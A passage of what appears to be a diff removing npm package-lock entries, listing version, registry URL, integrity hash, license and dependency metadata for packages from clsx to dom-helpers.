"sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA==", - "dev": true, - "license": "MIT", - "dependencies": { - "mimic-response": "^1.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/clsx": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", - "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/code-block-writer": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/code-block-writer/-/code-block-writer-10.1.1.tgz", - "integrity": "sha512-67ueh2IRGst/51p0n6FvPrnRjAGHY5F8xdjkgrYE7DDzpJe6qA07RYQ9VcoUeo5ATOjSOiWpSL3SWBRRbempMw==", - "dev": true, - "license": "MIT" - }, - "node_modules/color": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/color/-/color-4.2.3.tgz", - "integrity": "sha512-1rXeuUUiGGrykh+CeBdu5Ie7OJwinCgQY0bc7GCRxy5xVHy+moaqkpL/jqQq0MtQOeYcrqEz4abc5f0KtU7W4A==", - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1", - "color-string": "^1.9.0" - }, - "engines": { - "node": ">=12.5.0" - } - }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "license": "MIT", - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "license": "MIT" - }, - "node_modules/color-string": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/color-string/-/color-string-1.9.1.tgz", - "integrity": "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg==", - "license": "MIT", - "dependencies": { - "color-name": "^1.0.0", - "simple-swizzle": "^0.2.2" - } - }, - "node_modules/color2k": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/color2k/-/color2k-2.0.3.tgz", - "integrity": "sha512-zW190nQTIoXcGCaU08DvVNFTmQhUpnJfVuAKfWqUQkflXKpaDdpaYoM0iluLS9lgJNHyBF58KKA2FBEwkD7wog==", - "license": "MIT" - }, - "node_modules/colorette": { - "version": "2.0.20", - "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", - "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", - "dev": true, - "license": "MIT" - }, - "node_modules/combined-stream": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - "license": "MIT", - "dependencies": { - "delayed-stream": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/comma-separated-tokens": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz", - "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/commander": { - "version": "14.0.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.3.tgz", - "integrity": "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=20" - } - }, - "node_modules/comment-parser": { - "version": "1.4.7", - "resolved": "https://registry.npmjs.org/comment-parser/-/comment-parser-1.4.7.tgz", - "integrity": "sha512-0h+uSNtQGW3D98eQt3jJ8L06Fves8hncB4V/PKdw/Qb8Hnk19VaKuTr55UNRYiSoVa7WwrFls+rh3ux9agmkeQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 12.0.0" - } - }, - "node_modules/compare-version": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/compare-version/-/compare-version-0.1.2.tgz", - "integrity": "sha512-pJDh5/4wrEnXX/VWRZvruAGHkzKdr46z11OlTPN+VrATlWWhSKewNCJ1futCO5C7eJB3nPMFZA1LeYtcFboZ2A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/compressible": { - "version": "2.0.18", - "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", - "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", - "license": "MIT", - "dependencies": { - "mime-db": ">= 1.43.0 < 2" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/compression": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/compression/-/compression-1.8.1.tgz", - "integrity": "sha512-9mAqGPHLakhCLeNyxPkK4xVo746zQ/czLH1Ky+vkitMnWfWZps8r0qXuwhwizagCRttsL4lfG4pIOvaWLpAP0w==", - "license": "MIT", - "dependencies": { - "bytes": "3.1.2", - "compressible": "~2.0.18", - "debug": "2.6.9", - "negotiator": "~0.6.4", - "on-headers": "~1.1.0", - "safe-buffer": "5.2.1", - "vary": "~1.1.2" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/compression/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "license": "MIT", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/compression/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", - "license": "MIT" - }, - "node_modules/compute-scroll-into-view": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/compute-scroll-into-view/-/compute-scroll-into-view-3.1.1.tgz", - "integrity": "sha512-VRhuHOLoKYOy4UbilLbUzbYg93XLjv2PncJC50EuTWPA3gaja1UjBsUP/D/9/juV3vQFr6XBEzn9KCAHdUvOHw==", - "license": "MIT" - }, - "node_modules/concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - "dev": true, - "license": "MIT" - }, - "node_modules/confbox": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.2.4.tgz", - "integrity": "sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/console-clear": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/console-clear/-/console-clear-1.1.1.tgz", - "integrity": "sha512-pMD+MVR538ipqkG5JXeOEbKWS5um1H4LUUccUQG68qpeqBYbzYy79Gh55jkd2TtPdRfUaLWdv6LPP//5Zt0aPQ==", - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/content-disposition": { - "version": "0.5.4", - "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", - "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", - "license": "MIT", - "dependencies": { - "safe-buffer": "5.2.1" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/content-type": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", - "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/convert-source-map": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", - "dev": true, - "license": "MIT" - }, - "node_modules/cookie": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", - "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/cookie-signature": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.7.tgz", - "integrity": "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA==", - "license": "MIT" - }, - "node_modules/core-js": { - "version": "3.49.0", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.49.0.tgz", - "integrity": "sha512-es1U2+YTtzpwkxVLwAFdSpaIMyQaq0PBgm3YD1W3Qpsn1NAmO3KSgZfu+oGSWVu6NvLHoHCV/aYcsE5wiB7ALg==", - "hasInstallScript": true, - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/core-js" - } - }, - "node_modules/core-util-is": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", - "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==", - "dev": true, - "license": "MIT", - "optional": true - }, - "node_modules/cosmiconfig": { - "version": "8.3.6", - "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-8.3.6.tgz", - "integrity": "sha512-kcZ6+W5QzcJ3P1Mt+83OUv/oHFqZHIx8DuxG6eZ5RGMERoLqp4BuGjhHLYGK+Kf5XVkQvqBSmAy/nGWN3qDgEA==", - "dev": true, - "license": "MIT", - "dependencies": { - "import-fresh": "^3.3.0", - "js-yaml": "^4.1.0", - "parse-json": "^5.2.0", - "path-type": "^4.0.0" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/d-fischer" - }, - "peerDependencies": { - "typescript": ">=4.9.5" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/crc": { - "version": "3.8.0", - "resolved": "https://registry.npmjs.org/crc/-/crc-3.8.0.tgz", - "integrity": "sha512-iX3mfgcTMIq3ZKLIsVFAbv7+Mc10kxabAGQb8HvjA1o3T1PIYprbakQ65d3I+2HGHt6nSKkM9PYjgoJO2KcFBQ==", - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "buffer": "^5.1.0" - } - }, - "node_modules/cross-dirname": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/cross-dirname/-/cross-dirname-0.1.0.tgz", - "integrity": "sha512-+R08/oI0nl3vfPcqftZRpytksBXDzOUveBq/NBVx0sUp1axwzPQrKinNx5yd5sxPu8j1wIy8AfnVQ+5eFdha6Q==", - "dev": true, - "license": "MIT", - "optional": true, - "peer": true - }, - "node_modules/cross-env": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/cross-env/-/cross-env-10.1.0.tgz", - "integrity": "sha512-GsYosgnACZTADcmEyJctkJIoqAhHjttw7RsFrVoJNXbsWWqaq6Ym+7kZjq6mS45O0jij6vtiReppKQEtqWy6Dw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@epic-web/invariant": "^1.0.0", - "cross-spawn": "^7.0.6" - }, - "bin": { - "cross-env": "dist/bin/cross-env.js", - "cross-env-shell": "dist/bin/cross-env-shell.js" - }, - "engines": { - "node": ">=20" - } - }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - "dev": true, - "license": "MIT", - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/css-tree": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.2.1.tgz", - "integrity": "sha512-X7sjQzceUhu1u7Y/ylrRZFU2FS6LRiFVp6rKLPg23y3x3c3DOKAwuXGDp+PAGjh6CSnCjYeAul8pcT8bAl+lSA==", - "dev": true, - "license": "MIT", - "dependencies": { - "mdn-data": "2.27.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0" - } - }, - "node_modules/css.escape": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz", - "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==", - "dev": true, - "license": "MIT" - }, - "node_modules/cssesc": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", - "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", - "dev": true, - "license": "MIT", - "bin": { - "cssesc": "bin/cssesc" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/csstype": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", - "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", - "license": "MIT" - }, - "node_modules/damerau-levenshtein": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz", - "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==", - "dev": true, - "license": "BSD-2-Clause" - }, - "node_modules/data-urls": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-7.0.0.tgz", - "integrity": "sha512-23XHcCF+coGYevirZceTVD7NdJOqVn+49IHyxgszm+JIiHLoB2TkmPtsYkNWT1pvRSGkc35L6NHs0yHkN2SumA==", - "dev": true, - "license": "MIT", - "dependencies": { - "whatwg-mimetype": "^5.0.0", - "whatwg-url": "^16.0.0" - }, - "engines": { - "node": "^20.19.0 || ^22.12.0 || >=24.0.0" - } - }, - "node_modules/data-view-buffer": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz", - "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3", - "es-errors": "^1.3.0", - "is-data-view": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/data-view-byte-length": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz", - "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3", - "es-errors": "^1.3.0", - "is-data-view": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/inspect-js" - } - }, - "node_modules/data-view-byte-offset": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz", - "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "es-errors": "^1.3.0", - "is-data-view": "^1.0.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/decimal.js": { - "version": "10.6.0", - "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", - "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", - "license": "MIT" - }, - "node_modules/decode-named-character-reference": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.3.0.tgz", - "integrity": "sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q==", - "license": "MIT", - "dependencies": { - "character-entities": "^2.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/decompress-response": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", - "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "mimic-response": "^3.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/decompress-response/node_modules/mimic-response": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", - "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/dedent": { - "version": "1.7.2", - "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.2.tgz", - "integrity": "sha512-WzMx3mW98SN+zn3hgemf4OzdmyNhhhKz5Ay0pUfQiMQ3e1g+xmTJWp/pKdwKVXhdSkAEGIIzqeuWrL3mV/AXbA==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "babel-plugin-macros": "^3.1.0" - }, - "peerDependenciesMeta": { - "babel-plugin-macros": { - "optional": true - } - } - }, - "node_modules/deep-is": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", - "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/deepmerge": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", - "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/defer-to-connect": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", - "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/define-data-property": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", - "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", - "dev": true, - "license": "MIT", - "dependencies": { - "es-define-property": "^1.0.0", - "es-errors": "^1.3.0", - "gopd": "^1.0.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/define-properties": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", - "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", - "dev": true, - "license": "MIT", - "dependencies": { - "define-data-property": "^1.0.1", - "has-property-descriptors": "^1.0.0", - "object-keys": "^1.1.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/dequal": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", - "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/destroy": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", - "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", - "license": "MIT", - "engines": { - "node": ">= 0.8", - "npm": "1.2.8000 || >= 1.4.16" - } - }, - "node_modules/detect-libc": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", - "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=8" - } - }, - "node_modules/detect-node": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", - "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", - "dev": true, - "license": "MIT", - "optional": true - }, - "node_modules/devlop": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz", - "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==", - "license": "MIT", - "dependencies": { - "dequal": "^2.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/dir-compare": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/dir-compare/-/dir-compare-4.2.0.tgz", - "integrity": "sha512-2xMCmOoMrdQIPHdsTawECdNPwlVFB9zGcz3kuhmBO6U3oU+UQjsue0i8ayLKpgBcm+hcXPMVSGUN9d+pvJ6+VQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "minimatch": "^3.0.5", - "p-limit": "^3.1.0 " - } - }, - "node_modules/dmg-builder": { - "version": "26.8.1", - "resolved": "https://registry.npmjs.org/dmg-builder/-/dmg-builder-26.8.1.tgz", - "integrity": "sha512-glMJgnTreo8CFINujtAhCgN96QAqApDMZ8Vl1r8f0QT8QprvC1UCltV4CcWj20YoIyLZx6IUskaJZ0NV8fokcg==", - "dev": true, - "license": "MIT", - "dependencies": { - "app-builder-lib": "26.8.1", - "builder-util": "26.8.1", - "fs-extra": "^10.1.0", - "iconv-lite": "^0.6.2", - "js-yaml": "^4.1.0" - }, - "optionalDependencies": { - "dmg-license": "^1.0.11" - } - }, - "node_modules/dmg-builder/node_modules/iconv-lite": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", - "dev": true, - "license": "MIT", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/dmg-license": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/dmg-license/-/dmg-license-1.0.11.tgz", - "integrity": "sha512-ZdzmqwKmECOWJpqefloC5OJy1+WZBBse5+MR88z9g9Zn4VY+WYUkAyojmhzJckH5YbbZGcYIuGAkY5/Ys5OM2Q==", - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "dependencies": { - "@types/plist": "^3.0.1", - "@types/verror": "^1.10.3", - "ajv": "^6.10.0", - "crc": "^3.8.0", - "iconv-corefoundation": "^1.1.7", - "plist": "^3.0.4", - "smart-buffer": "^4.0.2", - "verror": "^1.10.0" - }, - "bin": { - "dmg-license": "bin/dmg-license.js" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/doctrine": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", - "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "esutils": "^2.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/dom-accessibility-api": { - "version": "0.5.16", - "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", - "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==", - "dev": true, - "license": "MIT" - }, - "node_modules/dom-helpers": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz", - "integrity": "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==", - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.8.7", - "csstype": 